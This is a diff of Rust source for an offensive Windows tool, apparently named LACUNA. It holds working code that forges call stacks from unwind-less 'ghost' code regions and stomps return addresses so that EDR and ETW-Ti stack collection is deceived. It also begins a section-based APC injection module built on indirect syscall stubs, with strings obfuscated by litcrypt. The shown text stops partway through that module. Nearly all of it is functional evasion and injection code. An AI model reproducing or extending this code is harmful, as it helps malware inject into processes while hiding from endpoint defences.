||||
if name.is_empty() { lc!("—") } else { name },
|
||||
lc!(" dist="),
|
||||
g.dist
|
||||
);
|
||||
}
|
||||
if n > 25 {
|
||||
println!("{}{}{}", lc!(" ... "), n - 25, lc!(" more"));
|
||||
}
|
||||
|
||||
let mut gg = [scan::GhostGadget { va: 0, parent: [0; 64] }; 32];
|
||||
let ngg = scan::scan_ghost_gadgets(&buf[..n], mod_name, &mut gg);
|
||||
if ngg > 0 {
|
||||
println!("{}", lc!(" ghost gadgets (jmp [rbx]):"));
|
||||
for j in 0..ngg {
|
||||
println!("{}{:016x}", lc!(" "), gg[j].va);
|
||||
}
|
||||
}
|
||||
|
||||
if m.name == "win32u.dll" {
|
||||
println!("{}{:016x}", lc!(" first nop gap: "), m.win32u_nop_gap);
|
||||
}
|
||||
|
||||
println!();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
//
|
||||
// examples/verify.rs — Build the LACUNA chain and walk it
|
||||
//
|
||||
// Equivalent to: lacuna.exe verify
|
||||
//
|
||||
// Run with: cargo run --example verify --features stack-spoof
|
||||
//
|
||||
|
||||
#[macro_use]
|
||||
extern crate litcrypt2;
|
||||
extern crate alloc;
|
||||
use_litcrypt!();
|
||||
|
||||
#[cfg(not(feature = "stack-spoof"))]
|
||||
fn main() {
|
||||
eprintln!("{}", lc!("verify requires the 'stack-spoof' feature:"));
|
||||
eprintln!("{}", lc!(" cargo run --example verify --features stack-spoof"));
|
||||
}
|
||||
|
||||
#[cfg(feature = "stack-spoof")]
|
||||
fn main() {
|
||||
println!("{}", lc!("LACUNA Chain — Ghost Frames: Forging Plausible Call Stacks from .pdata Lacunae"));
|
||||
println!("{}\n", lc!("Rust port — verify mode"));
|
||||
|
||||
if !lacuna::chain::build_chain() {
|
||||
eprintln!("{}", lc!("[-] build_chain failed"));
|
||||
std::process::exit(1);
|
||||
}
|
||||
|
||||
let _ok = lacuna::chain::walk_chain();
|
||||
}
|
||||
+637
@@ -0,0 +1,637 @@
|
||||
//
|
||||
// chain.rs — LACUNA chain construction + stack stomp for lacuna-rs
|
||||
//
|
||||
// Ported from lacuna_chain.c:
|
||||
// build_chain(), stomp_plant(), stomp_restore(), lacuna_walk_chain(),
|
||||
// teb_stack_base(), teb_stack_limit().
|
||||
//
|
||||
// The "chain" is a fake but structurally valid call stack built from ghost
|
||||
// regions (executable code with no .pdata coverage). When ETW-Ti fires an
|
||||
// APC during NtDelayExecution(alertable), the kernel unwinds through these
|
||||
// ghost frames instead of the real callers.
|
||||
//
|
||||
|
||||
#![cfg(feature = "stack-spoof")]
|
||||
#![allow(dead_code)]
|
||||
|
||||
use crate::pe;
|
||||
use crate::scan::{self, Ghost, GhostGadget};
|
||||
use crate::stub;
|
||||
use crate::win::{
|
||||
ULONG64, PVOID,
|
||||
MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE,
|
||||
VirtualAlloc,
|
||||
CONTEXT, CONTEXT_FULL,
|
||||
PRtlLookupFunctionEntry, PRtlVirtualUnwind,
|
||||
UNWIND_HISTORY_TABLE, DWORD64,
|
||||
get_module, get_proc,
|
||||
};
|
||||
use core::sync::atomic::{AtomicU64, Ordering};
|
||||
|
||||
// ── Machine frame (BYOUD-MF) ─────────────────────────────────────────────────
|
||||
|
||||
#[repr(C, packed)]
|
||||
#[derive(Clone, Copy, Default)]
|
||||
pub struct MachFrame {
|
||||
pub Rip: ULONG64,
|
||||
pub Cs: ULONG64,
|
||||
pub EFlags: ULONG64,
|
||||
pub Rsp: ULONG64,
|
||||
pub Ss: ULONG64,
|
||||
}
|
||||
|
||||
// ── Fake stack layout ────────────────────────────────────────────────────────
|
||||
//
|
||||
// L5_thread_root ← walked last
|
||||
// L4_win32u
|
||||
// L3_ntdll
|
||||
// L2_kbase
|
||||
// L1_wow64 ← g_chain_rsp points here
|
||||
// MachFrame (40 B) ← consumed by UWOP_PUSH_MACHFRAME handler
|
||||
// mf_trigger ← KiUserExceptionDispatcher+4
|
||||
//
|
||||
#[repr(C)]
|
||||
pub struct LacunaStack {
|
||||
pub L5_thread_root: ULONG64,
|
||||
pub L4_win32u: ULONG64,
|
||||
pub L3_ntdll: ULONG64,
|
||||
pub L2_kbase: ULONG64,
|
||||
pub L1_wow64: ULONG64,
|
||||
pub mf: MachFrame,
|
||||
pub mf_trigger: ULONG64,
|
||||
}
|
||||
|
||||
// ── Global state (file-scope statics in C) ───────────────────────────────────
|
||||
|
||||
pub static G_LS: AtomicU64 = AtomicU64::new(0); // *mut LacunaStack
|
||||
pub static G_CHAIN_RSP: AtomicU64 = AtomicU64::new(0);
|
||||
pub static G_SAVE_RSP: AtomicU64 = AtomicU64::new(0);
|
||||
pub static G_MF_WALK: AtomicU64 = AtomicU64::new(0); // *mut [ULONG64; 4]
|
||||
|
||||
// ── Ghost-layer accessor (used by veh.rs) ────────────────────────────────────
|
||||
|
||||
/// Return the four ghost-layer addresses [L1, L2, L3, L4] for the VEH's
|
||||
/// full-spoof pass.
|
||||
pub fn ghost_layers() -> [ULONG64; 4] {
|
||||
let ls = G_LS.load(Ordering::Relaxed) as *const LacunaStack;
|
||||
if ls.is_null() {
|
||||
return [0; 4];
|
||||
}
|
||||
unsafe {
|
||||
[
|
||||
(*ls).L1_wow64,
|
||||
(*ls).L2_kbase,
|
||||
(*ls).L3_ntdll,
|
||||
(*ls).L4_win32u,
|
||||
]
|
||||
}
|
||||
}
|
||||
|
||||
// ── TEB stack-base/limit (BYOUD-RT) ──────────────────────────────────────────
|
||||
|
||||
/// Read TEB.StackBase (GS:[0x08]).
|
||||
///
|
||||
/// Ported from teb_stack_base().
|
||||
#[cfg(target_arch = "x86_64")]
|
||||
pub fn teb_stack_base() -> ULONG64 {
|
||||
let base: ULONG64;
|
||||
unsafe {
|
||||
core::arch::asm!(
|
||||
"mov {0}, gs:[0x08]",
|
||||
out(reg) base,
|
||||
options(nostack, nomem, preserves_flags),
|
||||
);
|
||||
}
|
||||
base
|
||||
}
|
||||
|
||||
/// Read TEB.StackLimit (GS:[0x10]).
|
||||
///
|
||||
/// Ported from teb_stack_limit().
|
||||
#[cfg(target_arch = "x86_64")]
|
||||
pub fn teb_stack_limit() -> ULONG64 {
|
||||
let limit: ULONG64;
|
||||
unsafe {
|
||||
core::arch::asm!(
|
||||
"mov {0}, gs:[0x10]",
|
||||
out(reg) limit,
|
||||
options(nostack, nomem, preserves_flags),
|
||||
);
|
||||
}
|
||||
limit
|
||||
}
|
||||
|
||||
// ── build_chain ──────────────────────────────────────────────────────────────
|
||||
|
||||
/// Build the LACUNA ghost-frame chain.
|
||||
///
|
||||
/// Ported from build_chain(). Returns true on success.
|
||||
pub fn build_chain() -> bool {
|
||||
let ntdll = get_module(b"ntdll.dll\0");
|
||||
let kbase = get_module(b"kernelbase.dll\0");
|
||||
let wow64 = get_module(b"wow64.dll\0");
|
||||
let win32u = get_module(b"win32u.dll\0");
|
||||
|
||||
let nt_t: &[&[u8]] = &[
|
||||
b"RtlCreateUserThread\0",
|
||||
b"NtAllocateVirtualMemory\0",
|
||||
b"LdrLoadDll\0",
|
||||
b"NtCreateThreadEx\0",
|
||||
b"RtlUserThreadStart\0",
|
||||
];
|
||||
let kb_t: &[&[u8]] = &[
|
||||
b"VirtualProtect\0",
|
||||
b"VirtualAllocEx\0",
|
||||
b"WriteProcessMemory\0",
|
||||
b"CreateRemoteThreadEx\0",
|
||||
];
|
||||
let w64_t: &[&[u8]] = &[
|
||||
b"Wow64PrepareForException\0",
|
||||
b"Wow64KiUserCallbackDispatcher\0",
|
||||
b"Wow64ApcRoutine\0",
|
||||
];
|
||||
|
||||
let mut ng = [Ghost {
|
||||
va_start: 0, va_end: 0, size: 0, export_va: 0, dist: 0, name: [0; 64],
|
||||
}; 512];
|
||||
let mut kg = [Ghost {
|
||||
va_start: 0, va_end: 0, size: 0, export_va: 0, dist: 0, name: [0; 64],
|
||||
}; 512];
|
||||
let mut wg = [Ghost {
|
||||
va_start: 0, va_end: 0, size: 0, export_va: 0, dist: 0, name: [0; 64],
|
||||
}; 64];
|
||||
|
||||
let n_ng = scan::scan_ghosts(ntdll, nt_t, &mut ng);
|
||||
let n_kg = scan::scan_ghosts(kbase, kb_t, &mut kg);
|
||||
let n_wg = if !wow64.is_null() {
|
||||
scan::scan_ghosts(wow64, w64_t, &mut wg)
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
// Ghost gadget (JMP [RBX]) — prefer ntdll, then kernelbase.
|
||||
let mut g_ghost_gadget: ULONG64 = 0;
|
||||
let mut g_ghost_mod: u8 = 0;
|
||||
let mut gg = [GhostGadget { va: 0, parent: [0; 64] }; 8];
|
||||
let ngg = scan::scan_ghost_gadgets(&ng[..n_ng], b"ntdll\0", &mut gg);
|
||||
if ngg > 0 {
|
||||
g_ghost_gadget = gg[0].va;
|
||||
g_ghost_mod = 1;
|
||||
} else {
|
||||
let ngg2 = scan::scan_ghost_gadgets(&kg[..n_kg], b"kernelbase\0", &mut gg);
|
||||
if ngg2 > 0 {
|
||||
g_ghost_gadget = gg[0].va;
|
||||
g_ghost_mod = 2;
|
||||
}
|
||||
}
|
||||
if g_ghost_gadget != 0 {
|
||||
stub::G_GHOST_GADGET.store(g_ghost_gadget, Ordering::Relaxed);
|
||||
stub::G_GHOST_MOD.store(g_ghost_mod, Ordering::Relaxed);
|
||||
}
|
||||
|
||||
// L1 — wow64 ghost (fallback: nearest ntdll ghost).
|
||||
let mut g1 = scan::best_ghost(&wg[..n_wg], b"Wow64PrepareForException");
|
||||
if g1.is_none() {
|
||||
g1 = scan::best_ghost(&wg[..n_wg], b"Wow64KiUserCallbackDispatcher");
|
||||
}
|
||||
let l1 = if let Some(g) = g1 {
|
||||
g.va_start + g.size as ULONG64 / 2
|
||||
} else {
|
||||
let g3pre = scan::best_ghost(&ng[..n_ng], b"RtlCreateUserThread")
|
||||
.or_else(|| scan::best_ghost(&ng[..n_ng], b"NtAllocateVirtualMemory"));
|
||||
let mut bf: Option<&Ghost> = None;
|
||||
let mut bd = 0xFFFF_FFFFu32;
|
||||
for k in 0..n_ng {
|
||||
if let Some(pre) = g3pre {
|
||||
if core::ptr::eq(&ng[k], pre) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if ng[k].dist < bd {
|
||||
bd = ng[k].dist;
|
||||
bf = Some(&ng[k]);
|
||||
}
|
||||
}
|
||||
let bf = bf.or(g3pre);
|
||||
bf.map(|g| g.va_start + g.size as ULONG64 / 2)
|
||||
.unwrap_or(ntdll as ULONG64 + 0x50F80)
|
||||
};
|
||||
|
||||
// L2 — kernelbase ghost.
|
||||
let g2 = scan::best_ghost(&kg[..n_kg], b"VirtualProtect")
|
||||
.or_else(|| scan::best_ghost(&kg[..n_kg], b"VirtualAllocEx"));
|
||||
let l2 = if g_ghost_mod == 2 {
|
||||
g_ghost_gadget
|
||||
} else {
|
||||
g2.map(|g| g.va_start + g.size as ULONG64 / 2)
|
||||
.unwrap_or(kbase as ULONG64 + 0x64180)
|
||||
};
|
||||
|
||||
// L3 — ntdll ghost.
|
||||
let g3 = scan::best_ghost(&ng[..n_ng], b"RtlCreateUserThread")
|
||||
.or_else(|| scan::best_ghost(&ng[..n_ng], b"NtAllocateVirtualMemory"));
|
||||
let l3 = if g_ghost_mod == 1 {
|
||||
g_ghost_gadget
|
||||
} else {
|
||||
g3.map(|g| g.va_start + g.size as ULONG64 / 2)
|
||||
.unwrap_or(ntdll as ULONG64 + 0x50F80)
|
||||
};
|
||||
|
||||
// L4 — win32u nop gap.
|
||||
let l4 = if !win32u.is_null() {
|
||||
scan::win32u_nop_gap(win32u)
|
||||
} else {
|
||||
ng[0].va_start + 4
|
||||
};
|
||||
|
||||
// L5 — RtlUserThreadStart+0x21.
|
||||
let l5 = pe::export_va(ntdll, b"RtlUserThreadStart\0") + 0x21;
|
||||
|
||||
// L0 — BYOUD-MF anchor.
|
||||
let l0 = scan::find_mf_target(ntdll);
|
||||
|
||||
// Allocate the LacunaStack + MF-walk buffer.
|
||||
let total = core::mem::size_of::<LacunaStack>() + 0x100;
|
||||
let m = unsafe {
|
||||
VirtualAlloc(
|
||||
core::ptr::null_mut(),
|
||||
total,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE,
|
||||
)
|
||||
};
|
||||
if m.is_null() {
|
||||
return false;
|
||||
}
|
||||
let ls = m as *mut LacunaStack;
|
||||
let mf_walk = unsafe { (ls as *mut u8).add(core::mem::size_of::<LacunaStack>()) } as *mut ULONG64;
|
||||
|
||||
unsafe {
|
||||
// MF walk buffer: L2→L3→L4→L5 in ascending-address order.
|
||||
*mf_walk.add(0) = l2;
|
||||
*mf_walk.add(1) = l3;
|
||||
*mf_walk.add(2) = l4;
|
||||
*mf_walk.add(3) = l5;
|
||||
|
||||
(*ls).L5_thread_root = l5;
|
||||
(*ls).L4_win32u = l4;
|
||||
(*ls).L3_ntdll = l3;
|
||||
(*ls).L2_kbase = l2;
|
||||
(*ls).L1_wow64 = l1;
|
||||
(*ls).mf.Rip = l1;
|
||||
(*ls).mf.Cs = 0x0033;
|
||||
(*ls).mf.EFlags = 0x0000_0202;
|
||||
(*ls).mf.Rsp = mf_walk as ULONG64;
|
||||
(*ls).mf.Ss = 0x002B;
|
||||
(*ls).mf_trigger = l0;
|
||||
}
|
||||
|
||||
G_LS.store(ls as ULONG64, Ordering::Relaxed);
|
||||
G_CHAIN_RSP.store(unsafe { &(*ls).mf as *const _ as ULONG64 }, Ordering::Relaxed);
|
||||
G_MF_WALK.store(mf_walk as ULONG64, Ordering::Relaxed);
|
||||
true
|
||||
}
|
||||
|
||||
// ── stomp_plant / stomp_restore ──────────────────────────────────────────────
|
||||
|
||||
pub const STOMP_DEPTH: usize = 4;
|
||||
|
||||
/// Write L1–L4 into the return-address slot of the caller and the three
|
||||
/// dead shadow words above it.
|
||||
///
|
||||
/// Ported from stomp_plant(). This must be `#[inline(never)]` so the
|
||||
|
||||
/// # Warning: Frame-Pointer Requirement
|
||||
///
|
||||
/// This function uses `mov rbp, {x}` inline asm to locate the caller's
|
||||
/// frame. It **requires** the consuming crate to be compiled with
|
||||
/// `-C force-frame-pointers=yes`. Without it, RBP will not point to a
|
||||
/// valid frame and this function will silently no-op or corrupt the stack.
|
||||
///
|
||||
/// Add to your `.cargo/config.toml`:
|
||||
/// ``toml
|
||||
/// [build]
|
||||
/// rustflags = [`-C`, `force-frame-pointers=yes`]
|
||||
/// ``
|
||||
/// frame-pointer walk lands on the intended caller.
|
||||
#[inline(never)]
|
||||
pub fn stomp_plant() {
|
||||
let ls = G_LS.load(Ordering::Relaxed) as *const LacunaStack;
|
||||
if ls.is_null() {
|
||||
return;
|
||||
}
|
||||
let layers: [ULONG64; STOMP_DEPTH] = unsafe {
|
||||
[
|
||||
(*ls).L1_wow64,
|
||||
(*ls).L2_kbase,
|
||||
(*ls).L3_ntdll,
|
||||
(*ls).L4_win32u,
|
||||
]
|
||||
};
|
||||
|
||||
let stack_base = teb_stack_base();
|
||||
let stack_limit = teb_stack_limit();
|
||||
|
||||
// `__builtin_frame_address(1)` — get the caller's frame.
|
||||
let frame: *mut ULONG64 = unsafe {
|
||||
let mut fp: *mut ULONG64;
|
||||
core::arch::asm!(
|
||||
"mov {0}, [rbp]",
|
||||
out(reg) fp,
|
||||
options(nostack, preserves_flags),
|
||||
);
|
||||
fp
|
||||
};
|
||||
|
||||
if frame.is_null()
|
||||
|| (frame as ULONG64) < stack_limit
|
||||
|| (frame as ULONG64) >= stack_base
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
unsafe {
|
||||
for d in 0..STOMP_DEPTH {
|
||||
let slot = frame.add(1 + d);
|
||||
crate::veh::G_STOMP_PTRS[d].store(slot as ULONG64, Ordering::Relaxed);
|
||||
crate::veh::G_STOMP_SLOTS[d].store(*slot, Ordering::Relaxed);
|
||||
*slot = layers[d];
|
||||
}
|
||||
crate::veh::G_STOMP_SAVED.store(*frame.add(1), Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
/// Restore the stomped stack slots.
|
||||
///
|
||||
/// Ported from stomp_restore().
|
||||
pub fn stomp_restore() {
|
||||
for d in 0..STOMP_DEPTH {
|
||||
let ptr = crate::veh::G_STOMP_PTRS[d].load(Ordering::Relaxed);
|
||||
if ptr != 0 {
|
||||
let val = crate::veh::G_STOMP_SLOTS[d].load(Ordering::Relaxed);
|
||||
unsafe {
|
||||
*(ptr as *mut ULONG64) = val;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ── lacuna_walk_chain (verify) ───────────────────────────────────────────────
|
||||
|
||||
/// Walk the chain the same way an EDR stack collector would, using
|
||||
/// RtlLookupFunctionEntry + RtlVirtualUnwind.
|
||||
///
|
||||
/// Ported from lacuna_walk_chain(). Prints the full stack-frame trace
|
||||
/// (each frame's RIP, whether it has a RUNTIME_FUNCTION, and its layer
|
||||
/// label), then runs a second BYOUD-MF pass from mf_trigger.
|
||||
///
|
||||
/// Returns true if all 5 layers were seen in the primary walk.
|
||||
#[allow(unused_unsafe)]
|
||||
pub fn walk_chain() -> bool {
|
||||
let ntdll = get_module(b"ntdll.dll\0");
|
||||
let lookup_fe_ptr = get_proc(ntdll, b"RtlLookupFunctionEntry\0");
|
||||
let vu_ptr = get_proc(ntdll, b"RtlVirtualUnwind\0");
|
||||
if lookup_fe_ptr.is_none() || vu_ptr.is_none() {
|
||||
eprintln!("{}", lc!("[-] can't resolve unwind apis"));
|
||||
return false;
|
||||
}
|
||||
let lookup_fe: PRtlLookupFunctionEntry =
|
||||
unsafe { core::mem::transmute(lookup_fe_ptr.unwrap()) };
|
||||
let vu: PRtlVirtualUnwind =
|
||||
unsafe { core::mem::transmute(vu_ptr.unwrap()) };
|
||||
|
||||
let ls = G_LS.load(Ordering::Relaxed) as *const LacunaStack;
|
||||
if ls.is_null() {
|
||||
return false;
|
||||
}
|
||||
|
||||
let l1 = unsafe { (*ls).L1_wow64 };
|
||||
let l2 = unsafe { (*ls).L2_kbase };
|
||||
let l3 = unsafe { (*ls).L3_ntdll };
|
||||
let l4 = unsafe { (*ls).L4_win32u };
|
||||
let l5 = unsafe { (*ls).L5_thread_root };
|
||||
|
||||
// ── Primary walk: L1 → L2 → L3 → L4 → L5 ──────────────────────────
|
||||
//
|
||||
// Chain buffer: L2→L3→L4→L5 in ascending-address order so the
|
||||
// leaf RSP+=8 walk reads the correct next return address.
|
||||
|
||||
let chain: [ULONG64; 4] = [l2, l3, l4, l5];
|
||||
|
||||
let mut ctx: CONTEXT = unsafe { core::mem::zeroed() };
|
||||
ctx.ContextFlags = CONTEXT_FULL;
|
||||
unsafe {
|
||||
ctx.Rip = l1;
|
||||
ctx.Rsp = &chain as *const _ as ULONG64;
|
||||
}
|
||||
|
||||
let lnames: [&str; 5] = [
|
||||
"L1 wow64 ghost (Wow64PrepareForException)",
|
||||
"L2 kbase ghost (VirtualProtect)",
|
||||
"L3 ntdll ghost (RtlCreateUserThread)",
|
||||
"L4 win32u nop gap",
|
||||
"L5 RtlUserThreadStart+0x21",
|
||||
];
|
||||
|
||||
println!("[*] walking chain (same path as EDR stack collector)\n");
|
||||
|
||||
let mut seen = [false; 5];
|
||||
let mut hits = 0;
|
||||
|
||||
for i in 0..20 {
|
||||
if ctx.Rip == 0 {
|
||||
break;
|
||||
}
|
||||
let mut imgbase: DWORD64 = 0;
|
||||
let mut hist: UNWIND_HISTORY_TABLE = unsafe { core::mem::zeroed() };
|
||||
let rf = unsafe { lookup_fe(ctx.Rip, &mut imgbase, &mut hist) };
|
||||
|
||||
let (lbl, li): (&str, Option<usize>) = if ctx.Rip == l1 {
|
||||
(lnames[0], Some(0))
|
||||
} else if ctx.Rip == l2 {
|
||||
(lnames[1], Some(1))
|
||||
} else if ctx.Rip == l3 {
|
||||
(lnames[2], Some(2))
|
||||
} else if ctx.Rip == l4 {
|
||||
(lnames[3], Some(3))
|
||||
} else if ctx.Rip == l5 {
|
||||
(lnames[4], Some(4))
|
||||
} else {
|
||||
("", None)
|
||||
};
|
||||
if let Some(idx) = li {
|
||||
if !seen[idx] {
|
||||
seen[idx] = true;
|
||||
hits += 1;
|
||||
}
|
||||
}
|
||||
|
||||
println!(
|
||||
" [{:2}] {:016x} {:<8} {}",
|
||||
i,
|
||||
ctx.Rip,
|
||||
if rf.is_null() { "ghost" } else { "rf" },
|
||||
lbl
|
||||
);
|
||||
|
||||
if hits == 5 {
|
||||
println!(" (thread root — stopping)");
|
||||
break;
|
||||
}
|
||||
|
||||
if rf.is_null() {
|
||||
// Leaf frame: no RUNTIME_FUNCTION — unwinder does RSP += 8.
|
||||
unsafe {
|
||||
ctx.Rip = *(ctx.Rsp as *const ULONG64);
|
||||
ctx.Rsp += 8;
|
||||
}
|
||||
} else {
|
||||
// Has RUNTIME_FUNCTION — use RtlVirtualUnwind.
|
||||
let mut hd: PVOID = core::ptr::null_mut();
|
||||
let mut ef: DWORD64 = 0;
|
||||
unsafe {
|
||||
vu(
|
||||
0,
|
||||
imgbase,
|
||||
ctx.Rip,
|
||||
rf,
|
||||
&mut ctx,
|
||||
&mut hd,
|
||||
&mut ef,
|
||||
core::ptr::null_mut(),
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
for i in 0..5 {
|
||||
println!(" {} {}", if seen[i] { "[+]" } else { "[ ]" }, lnames[i]);
|
||||
}
|
||||
|
||||
let ok = seen.iter().all(|&s| s);
|
||||
println!(
|
||||
"\n{} all layers {}",
|
||||
if ok { "[+]" } else { "[!]" },
|
||||
if ok {
|
||||
"ghost — chain is clean"
|
||||
} else {
|
||||
"PARTIAL — check addresses above"
|
||||
}
|
||||
);
|
||||
|
||||
// ── BYOUD-MF pass: walk from mf_trigger through the machine frame ─
|
||||
//
|
||||
// The unwinder hits KiUserExceptionDispatcher's UWOP_PUSH_MACHFRAME,
|
||||
// reads Rip=L1 and Rsp=&g_mf_walk[0], then continues L1→L2→L3→L4→L5.
|
||||
|
||||
let mf_trigger = unsafe { (*ls).mf_trigger };
|
||||
println!(
|
||||
"\n[*] BYOUD-MF pass: starting from mf_trigger (L0={:016x})\n",
|
||||
mf_trigger
|
||||
);
|
||||
|
||||
let mut mf_ctx: CONTEXT = unsafe { core::mem::zeroed() };
|
||||
mf_ctx.ContextFlags = CONTEXT_FULL;
|
||||
unsafe {
|
||||
mf_ctx.Rip = mf_trigger;
|
||||
mf_ctx.Rsp = &(*ls).mf as *const _ as ULONG64;
|
||||
}
|
||||
|
||||
let mf_names: [&str; 6] = [
|
||||
"L0 MF anchor (KiUserExceptionDispatcher)",
|
||||
"L1 wow64 ghost",
|
||||
"L2 kbase ghost",
|
||||
"L3 ntdll ghost",
|
||||
"L4 win32u nop gap",
|
||||
"L5 RtlUserThreadStart+0x21",
|
||||
];
|
||||
|
||||
let mut mf_seen = [false; 6];
|
||||
let mut mf_hits = 0;
|
||||
|
||||
for i in 0..20 {
|
||||
if mf_ctx.Rip == 0 {
|
||||
break;
|
||||
}
|
||||
let mut imgbase: DWORD64 = 0;
|
||||
let mut hist: UNWIND_HISTORY_TABLE = unsafe { core::mem::zeroed() };
|
||||
let rf = unsafe { lookup_fe(mf_ctx.Rip, &mut imgbase, &mut hist) };
|
||||
|
||||
let li: Option<usize> = if mf_ctx.Rip == mf_trigger {
|
||||
Some(0)
|
||||
} else if mf_ctx.Rip == l1 {
|
||||
Some(1)
|
||||
} else if mf_ctx.Rip == l2 {
|
||||
Some(2)
|
||||
} else if mf_ctx.Rip == l3 {
|
||||
Some(3)
|
||||
} else if mf_ctx.Rip == l4 {
|
||||
Some(4)
|
||||
} else if mf_ctx.Rip == l5 {
|
||||
Some(5)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
if let Some(idx) = li {
|
||||
if !mf_seen[idx] {
|
||||
mf_seen[idx] = true;
|
||||
mf_hits += 1;
|
||||
}
|
||||
}
|
||||
|
||||
let lbl = if let Some(idx) = li { mf_names[idx] } else { "" };
|
||||
println!(
|
||||
" [{:2}] {:016x} {:<8} {}",
|
||||
i,
|
||||
mf_ctx.Rip,
|
||||
if rf.is_null() { "ghost" } else { "rf/MF" },
|
||||
lbl
|
||||
);
|
||||
|
||||
if mf_hits == 6 {
|
||||
println!(" (thread root — stopping)");
|
||||
break;
|
||||
}
|
||||
|
||||
if rf.is_null() {
|
||||
unsafe {
|
||||
mf_ctx.Rip = *(mf_ctx.Rsp as *const ULONG64);
|
||||
mf_ctx.Rsp += 8;
|
||||
}
|
||||
} else {
|
||||
let mut hd: PVOID = core::ptr::null_mut();
|
||||
let mut ef: DWORD64 = 0;
|
||||
unsafe {
|
||||
vu(
|
||||
0,
|
||||
imgbase,
|
||||
mf_ctx.Rip,
|
||||
rf,
|
||||
&mut mf_ctx,
|
||||
&mut hd,
|
||||
&mut ef,
|
||||
core::ptr::null_mut(),
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
for i in 0..6 {
|
||||
println!(" {} {}", if mf_seen[i] { "[+]" } else { "[ ]" }, mf_names[i]);
|
||||
}
|
||||
|
||||
let mf_ok = mf_seen[0] && mf_seen[1] && mf_seen[2];
|
||||
println!(
|
||||
"\n{} BYOUD-MF teleport {}",
|
||||
if mf_ok { "[+]" } else { "[!]" },
|
||||
if mf_ok {
|
||||
"worked — RSP jumped through machine frame"
|
||||
} else {
|
||||
"partial — MF may need version-specific offsets"
|
||||
}
|
||||
);
|
||||
|
||||
ok
|
||||
}
|
||||
+576
@@ -0,0 +1,576 @@
|
||||
//
|
||||
// inject.rs — Section-based APC injection for lacuna-rs
|
||||
//
|
||||
// Ported from lacuna_chain.c: do_inject_sapc().
|
||||
//
|
||||
// Thread selection algorithm ported from main.c: FindActiveApcThreads().
|
||||
//
|
||||
// All diagnostic output wrapped in litcrypt lc!() calls.
|
||||
//
|
||||
|
||||
#![cfg(feature = "inject")]
|
||||
#![allow(dead_code)]
|
||||
#![allow(unused_imports)]
|
||||
#![allow(unused_unsafe)]
|
||||
#![allow(unused_variables)]
|
||||
|
||||
use crate::nt;
|
||||
use crate::pe;
|
||||
use crate::stub;
|
||||
use crate::win::{
|
||||
self, HANDLE, HMODULE, NTSTATUS, ULONG64, PVOID, SIZE_T,
|
||||
LARGE_INTEGER,
|
||||
OBJECT_ATTRIBUTES, CID, CLIENT_ID,
|
||||
PAGE_READWRITE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE,
|
||||
SEC_COMMIT, SECTION_ALL_ACCESS, ViewUnmap,
|
||||
PROCESS_VM_OPERATION, PROCESS_QUERY_INFORMATION,
|
||||
THREAD_SET_CONTEXT, THREAD_ALERT, THREAD_QUERY_INFORMATION,
|
||||
TH32CS_SNAPTHREAD, INVALID_HANDLE_VALUE,
|
||||
PNtOpenProcess, PNtCreateSection, PNtMapViewOfSection,
|
||||
PNtUnmapViewOfSection, PNtOpenThread, PNtQueueApcThread,
|
||||
PNtAlertThread, PNtClose, PNtQueryInformationThread,
|
||||
nt_ok, get_module,
|
||||
CreateToolhelp32Snapshot, Thread32First, Thread32Next,
|
||||
CloseHandle, OpenThread, THREADENTRY32,
|
||||
NtDelayExecution,
|
||||
KERNEL_USER_TIMES, THREAD_CYCLE_TIME_INFORMATION, THREAD_BASIC_INFORMATION,
|
||||
ThreadBasicInformation, ThreadTimes, ThreadCycleTime, ThreadSuspendCount,
|
||||
};
|
||||
use core::ptr;
|
||||
use core::sync::atomic::Ordering;
|
||||
|
||||
extern crate alloc;
|
||||
use alloc::vec::Vec;
|
||||
|
||||
use lc;
|
||||
|
||||
/// Maximum number of top-scoring threads to queue APCs to.
|
||||
pub const MAX_APC_THREADS: usize = 5;
|
||||
|
||||
pub struct Syscalls {
|
||||
pub open_proc: stub::Stub,
|
||||
pub mk_sec: stub::Stub,
|
||||
pub map_view: stub::Stub,
|
||||
pub unmap_view: stub::Stub,
|
||||
pub open_thr: stub::Stub,
|
||||
pub queue_apc: stub::Stub,
|
||||
pub alert_thr: stub::Stub,
|
||||
pub nt_close: stub::Stub,
|
||||
pub prot_vm: stub::Stub,
|
||||
pub srs: [ULONG64; 9],
|
||||
}
|
||||
|
||||
impl Syscalls {
|
||||
pub fn resolve(ntdll: HMODULE) -> Option<Self> {
|
||||
const NAMES: &[&[u8]] = &[
|
||||
b"NtOpenProcess\0",
|
||||
b"NtCreateSection\0",
|
||||
b"NtMapViewOfSection\0",
|
||||
b"NtUnmapViewOfSection\0",
|
||||
b"NtOpenThread\0",
|
||||
b"NtQueueApcThread\0",
|
||||
b"NtAlertThread\0",
|
||||
b"NtClose\0",
|
||||
b"NtProtectVirtualMemory\0",
|
||||
];
|
||||
|
||||
let mut srs = [0u64; 9];
|
||||
let mut stubs: Vec<Option<stub::Stub>> = Vec::with_capacity(9);
|
||||
for i in 0..9 {
|
||||
let (ssn, sr) = nt::resolve(ntdll, NAMES[i]);
|
||||
srs[i] = sr;
|
||||
stubs.push(stub::make_stub(ssn, sr));
|
||||
}
|
||||
|
||||
for i in 0..9 {
|
||||
let ssn = nt::resolve_ssn(ntdll, NAMES[i]);
|
||||
let sr = srs[i];
|
||||
let sr_off = if sr != 0 { sr - ntdll as ULONG64 } else { 0 };
|
||||
let name = trim_cstr(NAMES[i]);
|
||||
eprintln!(
|
||||
"{}{:24} ssn={:02x} {}{:x}",
|
||||
lc!("[*] "),
|
||||
core::str::from_utf8(name).unwrap_or("?"),
|
||||
ssn,
|
||||
lc!("syscall;ret=ntdll+"),
|
||||
sr_off,
|
||||
);
|
||||
}
|
||||
|
||||
Some(Syscalls {
|
||||
open_proc: stubs[0].take()?,
|
||||
mk_sec: stubs[1].take()?,
|
||||
